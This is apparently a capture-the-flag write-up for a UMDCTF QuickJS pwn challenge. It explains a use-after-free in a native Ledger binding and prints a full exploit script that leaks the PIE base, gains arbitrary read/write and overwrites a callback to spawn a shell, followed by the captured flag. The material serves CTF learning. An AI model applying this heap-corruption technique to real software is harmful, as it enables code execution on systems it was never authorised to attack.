$ cat writeup.md…
$ cat writeup.md…
umdctf
Task: a stripped PIE QuickJS service executes attacker-supplied JavaScript with native Ledger and Wire bindings, including a recycled Ledger whose stale ArrayBuffer alias remains valid. Solution: overlap freed Ledger storage with a new ArrayBuffer, corrupt its metadata to leak PIE and gain arbitrary read/write, overwrite the global settle callback with win, then trigger settle() to spawn a shell and read the flag.
No separate organizer description was present in the provided workspace files.
English summary: the service accepts JavaScript and executes it inside an embedded QuickJS environment until the terminator token __END_MARKET_SCRIPT__. Several native bindings are exposed to script code, and one of them makes it possible to turn a heap use-after-free into code execution.
Initial triage showed an amd64 PIE ELF with:
The binary also embeds QuickJS and exposes the following JavaScript bindings:
LedgerWiremintWirewireReadwireWritewireDispatchpoke64printhelpsettleThe remote service reads JavaScript source until __END_MARKET_SCRIPT__, then executes it. That immediately suggests looking for mistakes in the native objects that are wrapped into JavaScript values, especially anything returning ArrayBuffer views into native memory.
Ledger was the interesting object. Its view() method returns an ArrayBuffer alias to native backing storage, and recycle() frees that storage. That combination is already suspicious: if the engine keeps the old JavaScript object alive after the native free, the script may still access freed heap memory.
The core bug is a use-after-free in Ledger backing storage.
The vulnerable pattern is:
Ledger.ledger.view() to get an ArrayBuffer pointing at the Ledger's native bytes.ledger.recycle().ArrayBuffer.The stale ArrayBuffer remains accessible even though the native allocation has already been freed.
For a Ledger(0x30), the freed chunk can be immediately reclaimed with new ArrayBuffer(8). That places a new QuickJS-managed ArrayBuffer object over the old Ledger backing region. A typed array over the stale view then exposes the overlapped metadata:
q[0] controls the victim ArrayBuffer's byteLengthq[1] controls the victim ArrayBuffer's data pointerq[5] leaks a code pointer at base + 0xd490So the UAF becomes a very strong primitive:
q[5]ArrayBuffer by writing q[0] = 0x100nq[1]At that point, the bug is no longer just an info leak. It is effectively arbitrary read/write through a corrupted ArrayBuffer.
The clean exploit path is to overwrite the global callback used by settle().
Relevant offsets from the PIE base were:
base + 0xcc100base + 0xcc108base + 0xb3c0base + 0xd490Instead of trying to jump through the leaked trampoline directly, the exploit uses the leak only to recover the PIE base:
base = q[5] - 0xd490n
Then it retargets the corrupted victim ArrayBuffer at base + 0xcc108, the global settle callback pointer. Writing base + 0xb3c0 there replaces the normal callback with the hidden win callback. After that, calling:
settle("owned")
prints:
market resolved YES: owned
and the win callback executes system("/bin/sh").
With shell access, reading /app/flag.txt yields the flag. The process later crashes with free(): invalid pointer, but only after code execution and flag exfiltration, so the exploit is still fully reliable for the challenge goal.
let l = new Ledger(0x30) let v = l.view() l.recycle() let x = new ArrayBuffer(8) let q = new BigUint64Array(v) q[0] = 0x100n let base = q[5] - 0xd490n let settleCb = base + 0xcc108n let winCb = base + 0xb3c0n q[1] = settleCb new DataView(x).setBigUint64(0, winCb, true) settle("owned")
Ledger(0x30) and get a stale ArrayBuffer alias with view().recycle().new ArrayBuffer(8).BigUint64Array(v) over the stale bytes to corrupt the new ArrayBuffer metadata.q[0] = 0x100n to expand the victim buffer.q[5] and compute base.q[1] = base + 0xcc108 so the victim buffer points at the global settle callback pointer.base + 0xb3c0 through the overlapped buffer.settle("owned")./app/flag.txt.Remote exploitation confirmed the expected success message followed by the flag, and only then the cleanup crash:
market resolved YES: owned UMDCTF{tahmid-will-surely-finish_his_challenge_on_time!!} free(): invalid pointer
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar